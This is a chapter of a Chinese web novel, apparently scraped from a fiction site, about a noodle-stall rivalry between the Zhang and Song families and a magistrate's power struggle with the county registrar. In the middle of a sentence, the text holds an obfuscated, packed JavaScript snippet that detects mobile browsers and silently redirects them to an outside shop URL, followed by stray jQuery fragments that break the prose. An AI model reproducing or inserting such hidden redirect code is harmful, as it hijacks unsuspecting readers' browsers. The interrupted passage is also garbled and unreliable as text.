文趣网 > 其他小说 > 假千金迫嫁寒门探花后 > 9. 两家争面,各显手段
    晨练过后,姜念回房换衣裳,少见地遇着顾衍之。

    他身着官服,革带束腰,苍白面容愈显清冷端肃。

    “顾公子今日不忙?”

    “先给姜姑娘看份东西。”

    姜念好奇走过去,桌案上摊开一沓图纸,勾画着一座亭子,亭外数排长凳,一方铺了细沙的空地,还画了几个坐着的孩童。

    这是要县衙门口修个小公园吗?

    “看完了,然后呢?”

    “县衙门口,预计修一座解忧亭,记载仙方事迹、张贴县衙公示,福泽大石县百姓。”

    姜念听着,咂摸出点别的意思。

    原来是薅她解忧面的东风,来给他做政绩。

    这解忧亭有着仙人的故事,自然能聚起人气,又顺带给县衙立了道告示墙,好让百姓们及时知道县衙规矩,免得乡绅私下加派杂费,被骗了都不知道怎么回事。

    只是他这样子做,也差不多断了衙役们的油水。

    万一乡绅恼羞成怒,盯上他下狠手怎么办?而他势力单薄,难免会连累到自己......

    “姜姑娘似乎有见解?”

    “没有,顾公子画得很好,雕栏玉砌,栩栩如生。这故事,你也随意用便是。”

    她保持着商业互吹的清醒。

    等这人走后,再去系统里翻翻,看能买到什么防身的东西。

    顾衍之似笑非笑地道了声谢,便起身离开,显然对她的吹捧不买账。

    她也下楼,与赵娘子会和。

    今日解忧面抬价,她自然得跟着一起出摊,瞧瞧行情。

    将糖酱熬在小陶罐里,装好面条,二人一道往县衙门口去。

    还未走近,前头一片嘈杂。

    昨日摆摊的地方,围了不少人。

    前头站着两名小厮,一个瞧着眼熟,正是昨日跟在张虎身边的;另一个衣着利落,腰间系着宋家的牌子。

    两人站在摊前,正斗鸡似的盯着对方。

    瞧见赵娘子来了,两人几乎同时开口。

    “我张家要三碗!”

    “我宋家也买三碗!”

    瞧着这般热闹,姜念心头舒畅,仿佛看见了银子长着翅膀,飞入钱包里。

    而身旁的赵娘子似乎却有些紧张。

    她低声安抚道:“不慌,照昨日计划好的来。”

    赵娘子硬着头皮支起摊子,道:“今日二两一碗。”

    这话一出,周围哗然。

    “昨日才一两,今日就二两了?”

    “你这哪里是卖面,分明是卖金子。”

    两名小厮也都愣了。

    宋家小厮反应快,当即把一只荷包放到摊前:“劳烦赵娘子称一称,这里不止六两。今日三碗,我宋家都要了。”

    张家小厮脸色一沉:“怎么?你宋家想抢?”

    “做买卖讲究先来后到,我站在这儿,凭什么不能买?”

    “我家小爷昨日便吩咐了,今日还要。你宋家凭什么跟我张家抢?”

    两人越说越僵,声音渐渐拔高。

    围着的人们看得津津有味。

    昨日只是瞧个稀奇,今日倒好,能看到张家和宋家抢起来了。

    人群里的哄闹声越来越响,甚至有人在喊:“赵娘子,卖给谁?”

    赵娘子吓得退后半步:“夫人,这,这可怎么办呀?”

    姜念淡淡道:“做买卖,自然先到者得。你问他们,谁先来的?”

    赵娘子问出声后,两名小厮大眼瞪小眼。

    人群里忽然有人喊道:“那可得是我们先来的,我们天不亮就在这儿看热闹了!”

    这话一出,众人都笑起来,方才剑拔弩张的气氛松快了几分。

    张家小厮扫了那人一眼:“你租的是张家铺子,你先来,自然是张家先来。”

    宋家小厮立刻反唇相讥:“照你这么说,赵娘子还在我宋家客栈住过呢,自然是宋家先来。”

    两边你一句我一句,乱成一锅粥。

    姜念在边上旁观,心里却有些疑惑。

    宋元和兰娘都回了宋家,若是他们想买,提前打声招呼便是,何必派人到摊前同张家抢?

    县衙门口热闹,库房那边也不安生。

    顾衍之站在转角处,示意方勇独自上前。

    方勇大步走过去,叩了叩门。

    里头老胥吏问:“何事?”

    “县令大人叫我来送单子,修解忧亭的。”

    老胥吏出来将单子接进去,呈给张主簿。

    张主簿目光落到末尾的数目上,脸色顿时沉了下来。

    一百两。

    倒真敢开口。

    他提笔刷刷几下,将上头银钱划去九成,冷笑道:“县衙库银空虚,旧账未清,先修个墙便罢。什么亭子,什么碑记,等库账清了再说。”

    老胥吏拿着改过的单子出来:“按这个来。不够,让顾大人自己来跟主簿说。”

    “让县令大人来找主簿?”

    方勇嗤笑出声,嗓门大得里外听得清清楚楚。

    “不知道的,还以为主簿的官比县令大呢。”

    几名胥吏低头翻账,谁也不敢接这话——张主簿为人最好面子,这话简直是往他心窝子里扎。

    张主簿终于搁了笔,走出来喝道:“你是何人,也敢在库房门前放肆?”

    顾衍之缓缓从转角处踱步出来:“本官的人。”

    周遭的风都安静了。

    张主簿看向顾衍之,眼底闪过阴沉。

    好。

    好得很。

    今日这穷县令,倒是敢跟他贴脸了。

    正在此时,一名衙役急匆匆跑来:“主簿,不好了!”

    张主簿眼皮一跳:“又怎么了?”

    衙役喘着气道:“小公子在县衙门口,同宋家的人闹起来了!”

    县衙门口的动静已经越来越大。

    张虎原本只在一旁冷眼瞧着,等小厮替他抢面。谁知推搡间,不知是谁撞了谁,竟一把撞到张虎身上。

    他脚下一滑,摔个狗啃泥。

    身边的人都怕碰着他,纷纷退开,反倒让他更没了面子。

    张虎脸色涨红,顿时恼羞成怒:“反了你们了!”

    他抬脚便踹向一个宋家人,场面更加混乱。

    姜念提前拉着赵娘子退到了旁边,谁知赵娘子竟反过来把她护在身后。

    “夫人小心些。您瞧着......比我女儿大不了多少。”

    姜念:“......那便别叫我夫人了。”

    赵娘子吓了一跳:“民妇不敢。”

    “私下唤我姜小姐便是。”

    其实她更喜欢别人唤她姜店长。上辈子经营的甜品店,装潢是暖融融的奶油色,玻璃柜里躺着漂亮精致的小蛋糕。

    每天开门营业,满室都是奶油和糖浆的甜香。客人推门进来时,也是轻手轻脚,稍微拨动了悬挂着的风铃,店里便响起来软软的叮当声。

    再看眼前,县衙门口尘土飞扬,鸡飞狗跳,连空气里都混着汗味、泥土味。

    这画风,当真是提神醒脑。

    她无声叹了口气。

    要想把甜品店开起来,还差个十万八千里。倒是可以先开个摊子,卖几样成本低的甜粥、甜汤,一步步来吧。

    正琢磨着,瞥见张主簿领着一群老胥吏从门口大步走来,一个个都黑着脸。

    顾衍之走在后头,神色平淡,一副事不关己,似是顺路过来瞧热闹的。

    她微微眯起眼睛,注意到又是方勇跟在他身后。

    这人心眼子不少,怎么同刚招来的工匠那么熟?

    顾衍之似乎察觉到她的目光,隔着人群朝她这边看了眼,唇边轻轻弯起一抹弧度。

    姜念默然移开目光。

    原来他今日一早候在房中,是为了掐准她和赵娘子摆摊的时间,拾掇张主簿来看这么一场好戏。

    “逆子,住手!”

    张主簿的声音陡然压下来,带着几分做给外人看的怒意。

    张虎一回头,见是他爹,脸色顿时变了。

    “爹......”

    “还嫌昨日不够丢人?”

    若再继续闹下去,明日全县的人都要知道张主簿家的小公子,为了一碗面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720834|208637||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在县衙门口撒泼。

    张虎张了张嘴,还想辩解:“可是,娘说了......”

    “住口。”

    有人低低笑了一声,又很快憋住。

    张虎不敢反驳,只能跟着他爹的方向,悻悻退走。

    张家人一退,这场热闹消了大半。

    宋家小厮笑道:“赵娘子,如今可轮到我宋家了?”

    赵娘子看向姜念。

    姜念微微点头。

    甜香从锅里散开时,围观的人已经比昨日更多了。

    “张家都要抢,宋家也要抢,这面怕是真有点东西。”

    “那可不,平日里只有他们抢别人的份,啥时候见过他们排队买别人东西?”

    宋家小厮只当着没听见,提着食盒心满意足地走了。

    赵娘子清了清嗓子道:“诸位街坊,今日三碗解忧面已卖完了,明日请早。”

    人群顿时一片哀叹。

    “二两也卖完了?”

    “我方才还说太贵,谁知道连尝都没轮上。”

    “宋家全买走了,张虎没买成,明日怕是要抢着来买。”

    姜念掂量着四两银子,心情愉悦地对赵娘子道:

    “明日,若是卖给张家,便卖四两一碗。”

    *

    张主簿拎着张虎进了酒肆。

    张管事赔笑迎上来:“主簿,何至于这么大火气?”

    “你倒还有脸问。”张主簿冷笑,“让你处置一个云吞摊妇人,你倒闹得满街都传,说仙人托梦、张家作孽。”

    张管事额头冒汗:“大不了威逼利诱,把方子弄到手,再让那妇人闭嘴。”

    “糊涂。这已经不是一碗面的事。如今那妇人少一根头发,全县头一个想到的都是张家。”

    他语气越发阴沉。

    “那穷县令还在借这碗面的势,大兴土木,把县衙的威严立起来。老爷两日后便回,你自己想想怎么交代。”

    张管事越听,脸色越白,听到“老爷”之后,面色彻底灰败下去。

    忽然,他眼睛一亮,猛地抬头:“主簿,咱们也可以做神仙面!”

    “我听人说了,不就是糖面么?咱们酒肆有糖有面,也有厨子。她赵娘子能做,咱们张家为何不能做?”

    他越说越觉得这是条活路:“咱们做出来,卖得比她便宜,咱们一碗只卖半两!再请个道士来说仙人赐福。到时候,谁还记得什么仙人眷顾那妇人?”

    张主簿沉吟。这法子粗陋,却未必无用。大石县百姓一年吃不到几次甜味,哪里分得出好坏。

    只要张家把声势造起来,也许能把“张家欺压”的说法压下去。

    “做面。把张虎叫来。”

    片刻后,张虎便被伙计请了进来,他还在为方才丢脸的事恼火:

    “爹,又做什么?”

    张主簿淡淡道:

    “逆子,你昨日今日都惦记着人家的面,正好,今日在这儿吃个够。”

    张虎还没反应过来这话是什么意思,几名厨子已经端着面进来了。

    第一碗糖面摆上桌,浸着浑浊的黄褐色汤汁,飘着几缕不知是糖是油的浮沫。

    “这是什么玩意儿?”

    张管事站在一旁,为了自己的前程,咬了咬牙:“得罪了,小公子。”

    张虎顿时瞪大眼睛,往后一缩:“你敢!”

    “来人,喂公子吃面!”

    话音落下,几个伙计一拥而上,按胳膊的按胳膊,端碗的端碗。

    张管事舀了满满一勺,直接往张虎嘴边送。

    “唔唔唔——”

    张虎左躲右闪,挣扎间,那一勺终究还是送进了嘴里。才吃了一口,脸色便绿了。

    “呜......呸!这么难吃的面!”

    张管事面无表情:“记下来,第一碗,不像。”

    第二碗面热气腾腾地端了上来,卖相比第一碗更可疑。

    张虎拼命挣扎:“我不吃!你们放开我!爹!爹你看着他们欺负我!”

    见主簿并未阻止,张管事连忙将第二勺送到他嘴里。

    “呕——”